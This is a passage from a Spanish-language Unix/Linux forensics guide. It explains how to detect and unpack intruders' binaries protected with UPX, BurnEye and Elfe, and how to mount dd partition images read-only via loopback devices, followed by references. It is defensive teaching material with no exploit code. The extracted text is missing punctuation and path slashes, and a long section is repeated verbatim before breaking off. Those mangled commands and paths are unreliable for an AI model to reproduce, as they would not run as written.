Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 47: Análisis Forense de Sistemas GNU/Linux, Unix

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

